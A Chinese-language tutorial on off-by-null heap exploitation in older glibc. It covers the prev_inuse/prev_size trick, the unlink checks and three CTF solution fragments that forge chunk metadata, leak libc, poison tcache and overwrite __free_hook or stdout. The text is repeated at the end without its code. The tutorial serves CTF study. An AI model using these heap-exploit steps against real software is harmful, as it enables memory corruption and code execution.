低版本off-by-null
字数 1375 2025-08-22 12:23:13

Off-by-Null 漏洞利用技术详解

一、Off-by-Null 漏洞概述

Off-by-Null 是一种堆溢出漏洞,特点是只能溢出单个 NULL 字节(\x00)。这种漏洞在特定条件下可以被利用来实现内存破坏和代码执行。

1.1 漏洞原理

当分配的 chunk 大小为 0x100 的整数倍时,溢出 NULL 字节会:

  • 清空下一个 chunk 的 prev_inuse 位(表示前一个 chunk 是空闲的)
  • 启用 prev_size 字段

二、利用思路

2.1 可控制任意字节溢出的情况

  1. 通过修改 chunk 大小造成块结构重叠
  2. 利用重叠泄露其他 chunk 数据
  3. 利用重叠覆盖其他 chunk 数据

2.2 只能溢出 NULL 字节的情况

方法一:unlink 技术

  1. 先 free 前面的堆块
  2. 利用 NULL 字节溢出清空 prev_inuse
  3. 伪造 prev_size 字段
  4. 触发 unlink 操作造成 chunk 重叠

关键点:

  • unlink 时只检查 next_chunk(p)prev_size 是否等于当前 chunk 的 size
  • 不检查按照 prev_size 找到的 chunk 的大小是否与 prev_size 一致

方法二:chunk overlapping

  1. 伪造 prev_size
  2. 利用 chunk overlapping 将合并后的 chunk 放入 unsorted bin
  3. 通过切割 unsorted bin 实现信息泄露或进一步利用

三、利用技术细节

3.1 关键宏定义

#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))

#define unlink(AV, P, BK, FD) { \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
        malloc_printerr ("corrupted size vs. prev_size"); \
    FD = P->fd; \
    BK = P->bk; \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
        malloc_printerr ("corrupted double-linked list"); \
    ... }

3.2 版本差异

  • 在 glibc 2.28 及之前版本,没有检查 chunksize(p) != prevsize
  • 最新版本加入了检查,使得第二种方法无法使用:
if (__glibc_unlikely(chunksize(p) != prevsize))
    malloc_printerr("corrupted size vs. prev_size while consolidating");

四、典型利用模式

4.1 基本利用步骤

  1. 分配多个 chunk 构造特定内存布局
  2. 释放特定 chunk 填充 tcache/unsorted bin
  3. 利用 off-by-null 修改关键 metadata
  4. 触发 unlink 或合并操作
  5. 通过重叠 chunk 实现信息泄露或控制流劫持

4.2 具体利用案例

案例一:hgame week3 "你满了,那我就漫出来了!"

# 构造初始布局
add(0, 0xF8, b'a')  # 后续会被free
add(1, 0x68, b'a')  # 用于伪造prev_size
add(2, 0xF8, b'a')  # 目标chunk

# 填充tcache
for i in range(3, 10):
    add(i, 0xF8, b'a')
add(12, 0x68, b'a')

# 释放chunk构造unsorted bin
for i in range(3, 10):
    delete(i)
delete(0)
delete(1)

# 伪造prev_size
add(1, 0x68, b'a'*0x60 + p64(0x170))

# 触发unlink合并
delete(2)

# 重新分配获取libc地址
add(0, 0x70, b'a')
add(2, 0x70, b'a')
show(1)  # 泄露libc地址

# 后续利用
add(3, 0x68, b'a')  # 现在chunk 1和3指向同一内存

案例二:DASCTF 2023六月挑战赛 can_you_find_me

# 构造初始布局
add(0x20, 'aaa\n')      # 0
add(0x618, '\n')        # 1 - 将被放入unsorted bin
add(0x4f0, 'xxx\n')     # 2
add(0x20, 'aaa\n')      # 3

# 释放并重新分配
dele(1)
add(0x440, '\n')        # 1
add(0x60, '\n')         # 4
add(0x158, b'a'*0x150 + p64(0x620))  # 5 - 伪造prev_size

# 触发合并
dele(1)
dele(2)
dele(4)
dele(5)

# 切割unsorted bin实现tcache poison
add(0x440, '\n')        # 1
add(0x20, '\x60\x07' + '\n')  # 2 - 修改tcache fd
add(0x60, '\n')         # 4
add(0x60, p64(0xfbad1887) + p64(0)*3 + b'\x00' + b'\n')  # 5 - 修改stdout泄露libc

案例三:ciscn2024华北 onebook

# 构造初始布局
add(0, 0x4f8, b'a')
add(1, 0xf8, b'a')
add(2, 0x4f8, b'a')
add(3, 0x20, b'a')

# 释放chunk
delete(0)
delete(1)

# 伪造prev_size
add(1, 0xf8, b'a'*0xf0 + p64(0x600))

# 触发合并
delete(2)

# 泄露libc
add(0, 0x4f8, b'a')
show(1)

# 后续利用
delete(0)
free_hook = libcbase + libc.sym['__free_hook']
payload = b'a'*0x4f8 + p64(0x101) + p64(free_hook)
add(0, 0x6f8, payload)
delete(1)
edit(0, payload)

五、防御与绕过

5.1 现代glibc的防御措施

  1. prev_size 和实际 chunk 大小的一致性检查
  2. 对 tcache 和 fastbin 的双重释放检测
  3. 对 unsorted bin 中 chunk 的完整性检查

5.2 绕过技巧

  1. 利用 tcache poisoning 实现任意地址分配
  2. 通过切割 unsorted bin 修改关键内存
  3. 结合其他漏洞如 UAF 增强利用效果
  4. 针对特定版本 glibc 的未修复漏洞

六、总结

Off-by-Null 是一种需要精细内存操作的漏洞利用技术,关键在于:

  1. 精确控制堆布局
  2. 巧妙伪造 chunk metadata
  3. 利用合并/拆分操作实现内存破坏
  4. 结合信息泄露和控制流劫持完成利用

掌握这些技术需要对 glibc 内存管理机制有深入理解,并通过大量实践积累经验。

Off-by-Null 漏洞利用技术详解 一、Off-by-Null 漏洞概述 Off-by-Null 是一种堆溢出漏洞,特点是只能溢出单个 NULL 字节( \x00 )。这种漏洞在特定条件下可以被利用来实现内存破坏和代码执行。 1.1 漏洞原理 当分配的 chunk 大小为 0x100 的整数倍时,溢出 NULL 字节会: 清空下一个 chunk 的 prev_inuse 位(表示前一个 chunk 是空闲的) 启用 prev_size 字段 二、利用思路 2.1 可控制任意字节溢出的情况 通过修改 chunk 大小造成块结构重叠 利用重叠泄露其他 chunk 数据 利用重叠覆盖其他 chunk 数据 2.2 只能溢出 NULL 字节的情况 方法一:unlink 技术 先 free 前面的堆块 利用 NULL 字节溢出清空 prev_inuse 位 伪造 prev_size 字段 触发 unlink 操作造成 chunk 重叠 关键点: unlink 时只检查 next_chunk(p) 的 prev_size 是否等于当前 chunk 的 size 不检查按照 prev_size 找到的 chunk 的大小是否与 prev_size 一致 方法二:chunk overlapping 伪造 prev_size 利用 chunk overlapping 将合并后的 chunk 放入 unsorted bin 通过切割 unsorted bin 实现信息泄露或进一步利用 三、利用技术细节 3.1 关键宏定义 3.2 版本差异 在 glibc 2.28 及之前版本,没有检查 chunksize(p) != prevsize 最新版本加入了检查,使得第二种方法无法使用: 四、典型利用模式 4.1 基本利用步骤 分配多个 chunk 构造特定内存布局 释放特定 chunk 填充 tcache/unsorted bin 利用 off-by-null 修改关键 metadata 触发 unlink 或合并操作 通过重叠 chunk 实现信息泄露或控制流劫持 4.2 具体利用案例 案例一:hgame week3 "你满了,那我就漫出来了!" 案例二:DASCTF 2023六月挑战赛 can_ you_ find_ me 案例三:ciscn2024华北 onebook 五、防御与绕过 5.1 现代glibc的防御措施 对 prev_size 和实际 chunk 大小的一致性检查 对 tcache 和 fastbin 的双重释放检测 对 unsorted bin 中 chunk 的完整性检查 5.2 绕过技巧 利用 tcache poisoning 实现任意地址分配 通过切割 unsorted bin 修改关键内存 结合其他漏洞如 UAF 增强利用效果 针对特定版本 glibc 的未修复漏洞 六、总结 Off-by-Null 是一种需要精细内存操作的漏洞利用技术,关键在于: 精确控制堆布局 巧妙伪造 chunk metadata 利用合并/拆分操作实现内存破坏 结合信息泄露和控制流劫持完成利用 掌握这些技术需要对 glibc 内存管理机制有深入理解,并通过大量实践积累经验。